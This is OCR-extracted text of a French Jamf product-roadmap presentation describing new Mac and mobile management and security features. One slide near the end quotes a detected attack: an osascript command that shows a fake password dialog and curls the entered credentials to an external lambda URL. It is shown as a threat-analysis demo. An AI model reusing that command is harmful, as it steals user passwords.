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Quoi de neuf @ Jamf ?
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Supervisor, Sales l ' | Sales Engineer
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Gérer vos appareils

@ ENTREPRISE

% jamf PRO

@® TPE/PME

%8 jamf | NOW

@ EDUCATION

< jamf  SCHOOL
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Les solutions Jamf

Sécuriser vos appareils, utilisateurs et données

@® ENTREPRISE

%8 jam{ | CONNECT

%8 jamf PROTECT

AUTHENTIFICATION CLOUD
COMPLETE POUR MACOS

ZERO TRUST NETWORK ACCESS

PROTECTION DES TERMINAUX

PREVENTION DES MENACES &
REMEDIATION

FILTRAGE DE CONTENU
VISIBILITE & CONFORMITE

@® GOUVERNEMENT & VIP

Jamf Executive
Threat Protection

@ EDUCATION

=A jamf | SAFE INTERNET

ENQUETE ET COLLECTE
AVANCEES POUR MOBILES

DETECTION DES MENACES
CIBLEES ET PERSISTANTES

FILTRAGE DE CONTENU ET
PREVENTION DES MENACES
POUR L'EDUCATION

Compléter la solution

\/ AJOUTEZ DE
LA VALEUR

@ INDUSTRIES
» Jamf Setup & Reset
> Remise en service
> Jamf Setup Manager
> Jamf Migrate
> Spécialisation Santé

@ INTEGRATIONS
> 300+ partenaires sur
Jamf Marketplace

@ EDUCATION

> Jamf Teacher, Jamf
Student & Jamf Parent
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Les focus majeurs de 2024

Gestion des Apple Watch et Suivi des vulnérabilités
Apple Vision Pro et des CVE
Partenariat avec Microsoft
API Gestion de Conformité .

LAPS
Inscription automatisée

pour visionOS

Sécurité Mobile
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Jamf Threat Labs

Elévation de
privileges avec Jamf

Connect Controle des

menacées avancées

Télémétrie avec Jamf Protect

Intégrations SIEM



Nouveautés pour
le Mac
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Geérez et securisez le Mac comme jamais

] ) MFA local
Regles de conformite Blueprints et gestion avec code OTP
pour macOS déclarative des Macs Elévation de
privileges avec
Jamf Connect
Relais
Réseau

Télémétrie de
nouvelle génération

Self Service +

LAPS FIDO 2

dans Jamf

Connect ) .
Prise en charge d'Apple Intelligence Intégrations SIEM
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La Conformite facilitéee par Jamf

%4 Pro

Jamf Pro

Compliance Benchmarks I

Jamf Protect
Compliance Baseline

Jamf Compliance Editor
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Conformité macOS
Disponible dans Jamf Pro

Disponible en Beta depuis Janvier 2025

Compliance

CIS Level 1

> Fonctionnalité de Jamf Pro basée sur le macOS
Security Compliance Project (SCP)

» Déploiement des Benchmarks CIS en quelques
clics

» Supporte de maniere unifiée macOS 14 et 15
> Facile a configurer et a adapter a vos besoins

> Utilise I'API Jamf Pro pour construire des
configurations

» Compliance Baseline reste disponible dans
Jamf Protect
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& Safari  Fichier Edition Présentation Historique Signets Fenétre Aide 1 Mar. 28 janv. 12:58
. >
: "

mcastelbeta.jamfcloud.com

¥4 pPro

1l

Tableau de bord Version 11.14.0-b.1.1173756072387

Ordinateurs

Appareils oo tbrestond
g Tableau de bord de Jamf Pro
Utilisateurs > g Le tableau de bord de Jamf Pro propose une vue

8% d'ensemble des éléments les plus importants de
Conformité s votre environnement. Ajoutez-les a votre tableau de
. bord pour contréler facilement et rapidement leur
Réglages i statut.

v Données d'inventaire

Ordinateurs Appareils

2 0 0O O

Géré Non Géré
géré

v Taches de configuration

{1 Ajouter un serveur LDAP £ Configurer les réglages SMTP
Intégrez un service d’annuaire LDAP dans Jamf Pro pour Intégrez un serveur SMTP a Jamf Pro pour envoyer des

accéder aux informations relatives aux utilisateurs et aux invitations par courriel et des invitations pour l'inscription
groupes. aux utilisateurs finaux.

I wucneckout




Compliance Benchmarks

Beta Q1 2025

> Fonctionnalité de Jamf Pro basée sur le macOS
Security Compliance Project (SCP)

» Déploiement des Benchmarks CIS en quelques
clics

> Facile a configurer et a adapter a vos besoins

> Utilise I'API Jamf Pro pour construire des
configurations

> Compliance Baseline reste disponible dans
Jamf Protect
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@& Safari Fle Edit View History Bookmarks Window Help

Compliance

Available Templates

CIs

CIS Level1

You have not configured a benchmark yet.

cIs

CIS Level 2




& Safari Fle Edit View History Bookmarks Window Help

Compliance Benchmarks

Beta Q1 2025

Manage rules

- Jamf Compliance Editor sera toujours mis a jour

> Prise en charge annoncée des niveaux 1 et 2 de
CIS Benchmarks, ainsi que d'autres benchmarks
des leur publication.

> Prise en charge limitée a macOS dans un
premier temps, étendue a iOS et iPadOS a
I'avenir

> Disponible dans Jamf School a I’avenir

v

1. Instances Cloud uniqguement
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g Pro

88 Dashboard
8 Computers
Co Devices

& Users

@ Compliance

@

e

e
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Compliance

You have not configured a benchmark yet.
1

Available Templates

CIs Ccis

CIS Level 1 CIS Level 2
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Une application pour tous les gouverner : Self Service +

7 e
O-» *
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Self Service+

Disponible maintenant sur account.jamf.com

> L'évolution des applications en libre-service
offre une plus grande visibilité et une meilleure
expérience aux utilisateurs finaux.

> Vue d'ensemble des applications et du contenu
sous la marque de l'entreprise.

> Notifications dans un portail unique et fiable, y
compris les alertes de sécurité importantes de
Jamf Protect

» Partage facile des signets et des ressources de
I'entreprise
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* Self Service+

* Self Service +

@ Home
[1 Bookmarks
88 Catalog
(1) Books

Welcome to Self Service+

£ Notifications

Security dashboard

Device status Committed to your privacy

o Protected E Securtty features Drotect your data and privecy

Harmul software is being blocked Websites with harmul content are being blocked



http://account.jamf.com

Support de FIDO2 dans Jamf Connect

Disponible depuis octobre 2024

~ Authentification FIDO2 pour I'élévation de
privileges

> Permet aux utilisateurs de s'authentifier dans .‘ ja m f ‘ CO N N ECT

Safari en utilisant des Passkeys ou FIDO2 avant une
session d'élévation de privileges

- L'authentification par clé de sécurité au Login
nécessite toujours PIV Smartcard ou TOTP

&

- L'élévation de privileges a vu son UX améliorée ///
avec Jamf Connect 2.40
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Prise en charge du MFA hors-ligne

Disponible depuis Novembre 2024

> Permet de configurer Jamf Connect avec le

MFA hors ligne sans intégration IdP .‘ ja m f ‘ CO N N ECT

>~ Vous pouvez utiliser une app de MFA basée sur
OTP pour configurer cette authentification
(1Password, MS Authenticator, etc.)

- Ne remplace pas |'authentification MFA du * *@ @

fournisseur d'identité, mais apporte un niveau
de sécurité supplémentaire en mode -
déconnecté

ﬁ
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SSO de la plateforme (pré-version publique)

v

Annoncé a la WWDC 2023

v

Disponible avec Okta et Entra ID

v

3 modes : Enclave Sécurisée, Smartcard et Mot
q Inscription a
€ passe lI'authentification unique de

plateforme

uter un utilisateur...

v

Permet de rajouter Passkeys a la SSO Extension

v

Les nouvelles clés disponibles depuis macOS 15 B i e o Modifier..
sont accessibles dans Jamf Pro

0 Enregistrement du compte
% Enregistrez votre compte macOS auprés de

Nécessite un enregistrement du Mac par un <
administrateur (Zero Touch partiel)

v

>
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. Y .
Gestion a distance
Ce Mac appartient a :
JAMF Software I
La gestion a distance est requise et permettra a cette organisation
de configurer des comptes de messagerie et de réseau, d'installer

et de configurer des apps, et de gérer les réglages de ce Mac.

En savoir plus sur la gestion a distance

Votre écran est en cours d'observation Francais

S'inscrire

&

P~
o

01:27




SSO de Plateforme ou Jamf Connect ?

SSO de la Plateforme

» Disponible pour Okta et Entra ID

» Compatible Passkey et Secure Enclave

> Synchronisation du MDP

» Nécessite un enregistrement explicite de I'utilisateur

> Nécessite une licence additionnelle pour Okta (Device
Access)

> Encore en pré-version publique
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Jamf Connect macOS

Supporte tous les fournisseurs d'identité cloud via le
protocole OpenlD Connect (Entra ID, Okta, Google, Ping,
OnelLogin...)

Hautement personnalisable (branding) et configurable
Synchronisation du MDP

Création de comptes en Zero Touch

Compatible SSO Extension

Compatible avec I'identité fédérée et hybride

Gére ['élévation de privileges

Aide a 'utilisateur (SSRP) et EULA

OTP en mode hors-ligne



Jamf Protect

Nouvelle téléemétrie des Macs
Disponible depuis Janvier 2025

~ La télémétrie sur Mac prend désormais en
charge Endpoint Security API d'Apple pour
des besoins de sécurité modernes

~ Controle en temps réel, événements
enrichis et moins gourmand en ressources

> Nouvelles catégories de télémeétrie offrant
une visibilité sans précédent sur macOS

> Intégrations étendues avec Splunk et
Elastic disponibles, plus a venir
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¥4 Protect

Jamf

88 overview
@ Compliance
L Computers

W Alerts

Configuration

Analytics
Plans
Actions

Threat Prevention

&
He
%
O]
8

Device Controls

Unified Logging

®

Telemetry

&

Administrative

Create

Create Telemetry Configuration

General
Name

Telemetry for Finance Department

Description

Logging

Applications and pri
Application usage and
information for full trac

em, applications, and users,
3 or later)

Users and groups
User and group changes on the system, including user creation and




Nouveautés pour les
Mobiles
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Jamf couvre tous vos appareils mobiles

Jamf Setup avec la
conformité des appareils

Filtrage de contenu sur
I'appareil

Remise en Service Inscription

automatique
de Vision Pro
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Blueprints et gestion
déclarative des mobiles

Restrictions Notes et Genmoji

Vulnérabilités et CVE
pour iOS et iPadOS

Régles ZTNA
differentielles
selon les
grotipes Relais
Réseau

Self Service +

Prise en charge d'ACME



Nouvelle version disponible en janvier 2025

> Authentification unique avec Entra ID

> Scénario d'appareils iOS et iPadOS partagés
(retail, industrie, BTP, santé...)

~ Désormais compatible avec la conformité
des appareils Microsoft (acces conditionnel)

» Configuration de MS Authenticator en mode
partagé completement automatique

» Compatible avec des authentifications
Passwordless (FIDO2...)
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© 0

Settings Authenticator

A jamf




03
=

Jamf Mobile Assist
app
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Return to Service app
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Entrez dans I'ere du DDM avec Blueprints

Policies Profils de Configuration Blueprints
> macOS uniquement » Toutes plateformes Apple » Toutes plateformes Apple
» Jamf binary > MDM framework > DDM framework
» Check-ins > Push notifications > Push notifications

v
v
v

Technologie Jamf Technologie Apple Technologie Apple

v

Visibilité Limitée Status channels

v
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Preview a la JNUC, sortie en 2025

> Automatiser la configuration des appareils grace
a la gestion déclarative des appareils

> Utiliser des modeles pour les scénarios de
configuration courants

> Exploiter les groupes intelligents et statiques
pour |'attribution de I'étendue des fonctions

» Fonctionnalité complémentaire aux profils de
configuration MDM
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@& Safarl Fie Edit View History Bookmarks Window Help

D EDss boaes Blueprints

Choose a template to begin
=  Blueprints (Y v rray of de tiv v

Secure your devices Apply custom configuration Set passcode policies

Install disk management settings Math settings Manage Safari extensions

Service configuration Service background tasks




Preview a la JNUC, sortie en 2025

> Outil de création de plans avec installation par
glisser-déposer pour des configurations
personnalisées

> Déploiement plus rapide des derniéres
fonctionnalités de gestion d'Apple

> Prise en charge de macOS, iOS, iPadOS,
tvOS, visionOS, watchOS

> Disponibilité annoncée dans Jamf Pro et Jamf
School
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@ Safarl File Edit View History Bookmarks Window Help

hboard B ts / New blueprint

= Blueprints ;
Apply custom configuration

o) Passcode Policy Vi PpPly 9

&,

o Passcode Policy
&)

Disk Management
8 .
E] Math Settings

{2, Safari Extensions
3

Service Configuration Files




it Account Preferences*® x +

(¢] 23 ggrkbnuv.pyro.jamf.build/view/blueprints/builde D ‘ Relaunch to update :

54 Pro P 3

2prints / New blueprint

Name your blueprint...

82 Dashboard

8 Computers

(b Devices

& Users Declaration group
Compliance

i Software Updates
Passcode Policy 3 o=
2= Blueprints & & Cgnfigure )

{3 Settings ‘ .
% Disk Management Apply custom configuration
Passcode Policy

Disk Management

Math Settings

Cancel

S R NN NN S5, N IS 1 Bl AP e A I 0 6 FORE A RIS 5 A I B S O e 1 S YRS VY5 L5
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Network Relay

Beta Q4 2024

Eliminer les problémes de réseau pour les
administrateurs Apple, sans interférer avec les
VPN existants.

Garantir que les appareils Apple sont toujours
en mesure d'accéder a l'infrastructure
critique.

Un complément parfait pour les architectures
Okta FastPass ou Microsoft Entra ID Zero
Trust.
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Jamf Security Cloud

Acces ZTNA basé sur les groupes
Disponible en Janvier 2025

¥4 Security Cloud

v

Configurer des routes multiples pour une
méme regle d'acces basé sur I'appartenance
a un groupe d'appareils

v

Permet aussi un routage alternatif
spécifiguement pour des groupes d'appareil

v

Offre une plus grande flexibilité et précision
pour sécuriser |'acces aux ressources
critiques

v

Permet de réaliser des cas d'usages plus
complexes avec le ZTNA Jamf

®JAMF NATION MEET-UP

Add application

Ceraral

Application traffic routing

Indicate how authorized davices should routs their traff




Jamf Executive
Threat Protection
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Inspected 2 weeks ago

No issues

[¢® Device health

- &9 g

Latest OS Face ID Screen lock

E& Actions




Enable remote inspection

One time setup to inspect your device from
anywhere, without the need for physical
connection

Activate device

One-time inspection
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Jamf Executive
Threat Protection

Agrément R226 Public / Privé
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Jamf Security Cloud

Mode sombre

Sortie en décembre 2024

¥4 security Cloud

> |l suffit de cliquer sur le bouton du mode
sombre dans les parametres.

> Par défaut, respect le réglage du mode
clair/sombre du systeme.

» Egalement disponible dans Jamf Safe
I nte rn et Beshe v ows Global data usage - ot ;'::m,ng
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Jamf Security Cloud
Dark Mode

Released in December, 2024

For every JSC admin who’s ever wished their
console could look cooler and kinder on the
eyes

Simply toggle the Dark Mode switch in the
settings panel

By default, it will adhere to system’s light/
dark mode setting

A jamf

¥4 security Cloud

Top site and app
transactions

Global data usage

Top 5 roaming
countries




La plateforme Jamf
unifiée
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Comptes Jamf
Codes d'activation
automatiques

> Code d'activation directement importé

> La synchronisation des codes est
disponible pour les clients avec de
multiples instances Jamf Pro

» Amélioration de I'expérience d'admin

> Disponible pour les administrateurs
d'organisation
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Sync Activation Codes

Select the instances that you would like to sync for the Activation Code:
1234-GNO7-NOGF-7NO7-HNO7-8INO-UAQ7-ABCD

The more instances that are selected, the longer this operation will take.
Please do not close the page while the sync is occurring.

This action can not be undone. It will take several minutes to be reflected
in Jamf Pro & Jamf Account once complete.

Instances to Sync Select the instances to sync this AC to

X il X

Confirm Activation Code Sync This can not be undone

M | confirm the above AC should be synced to all selected Pro
— instances

[ Cancel




Comptes Jamf
Mise a jour en
autonomie

>~ Bouton "Mise a jour" disponible dans le
compte Jamf !

> Les clients Jamf Pro Premium Cloud
peuvent désormais aussi en bénéficier
sans contacter le support.
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B .‘ Account

& Products Cloud Upgrades

£3 Environments
All Upgrades Pending Upgrades Failed Upgrades Waiting Upgrades

& Subscription

% Feedback

s Organization * NAME S CLASS ¥ REQUESTED BY < OLD VERSION

© Training 10.40.0-
iamjake648 ~ STANDARD tesst uiser 11657115323

i MSP

88 Services Delivery

41 Admin

Release Versions

Prerelease




Jamf Pro
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One more thing...
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Al Assistant, votre futur meilleur ami

<__
(— — I
T —
>

Documentation API Powerful Al Assistant
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Al Assistant

Disponible en Beta
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g Pro

Dashboard
Computers

Devices

Blueprints

Settings

0 2 A A Y ASAB H, S E0 AIIA

Jamf Pro Dashboard

The Jamf Pro Dashboard provides a visual overview of
the things you care about most in your environment. Add
important items to your Dashboard to quickly and easily
monitor their statuses.

> Inventory Information

> Setup Tasks

ot R

S AN i B NN OISR e

Now, let me create a pie chart to visualize
this distribution

's a summary of the chart

the devices are running
146.x(

can you make a smart group for this department?




Al Assistant e

Disponible en Beta Jtack vecior by creating & dleggam. A vieus

representation can indeed make it easier to grasp the
flow of the attack. Let me create a sequence diagram
that illustrates the steps of this attack vector.

Overview

Compliance
Generated Chart
Computers
09/05/2024

Alerts 4 5
11:14 PM GMT Let me explain each step of this attack vector.

User Runs Application: The user (Erlich Bachman)
Configuration PR runs what appears to be a game called "Major
@ Analytics ‘ Vehicle Larceny 6 This is actually a malicious
application disguised as a game

# Plans bl g i i eobomlec g : Malicious App Executes osascript: The application

uses the macOS command osascript to run an
AppleScript. This is a legitimate macOS feature, but

Actior . c /6 (1M .
ctions #  osascript (11171) Major Vehicle Larceny 6 (11167) launchd (1) it's being misused here

kernel_task (0)
Threat Prevention K AppleScript Execution: The operating system runs
the AppleScript as requested by the malicious

application
Device Controls
: Fake Password Prompt: The AppleScript creates a
osascript (11171) P pp
fla dialog box that looks like a system password
Unified Logging
, prompt. It tells the user that the "Game developer
e needs your password to complete installation”.
Telemetry usr/bin/osascript -e set admin_password_dialog to display dialog "Game
developer needs your password to complete installation™ with title “Enter Your User Enters Password: Believing this to be a

Password" default answer ** buttons {"Cancel", “Next"} default button * [29 legitimate system prompt, the user enters their
Administrative h ’
characters truncated) -e set button_returned to button returned of password. ¢
admin_password_dial e set admin_password to text returned of
sbox admin_password_dialog -e do shell script “curl -X POST --data '{\"username
& "erlich.bachman” & "\"\"password\"\"* & admin_password & "\"}

HAL-1000

https://pmyhbutk2si3vgizjhix2adrt40tuubi.lambda-url.us-east-2,.on.aws/stolen-c
main

us-east-1
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En résume...

Support de FIDO2 dans Jamf Relais Réseau

Conformité des Macs
Connect

Blueprints pour
toutes les
plateformes Apple Télémétrie de
nouvelle génération

Jamf Setup et Reset J

avec Conformité Microsoft .

Self Service+

Jamf Mobile Assist
Nouvelles restrictions

pour Apple Intelligence L
Mise a jour autonome

Jamf Al Assistant
de Jamf Pro
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DENVER, COLORADO









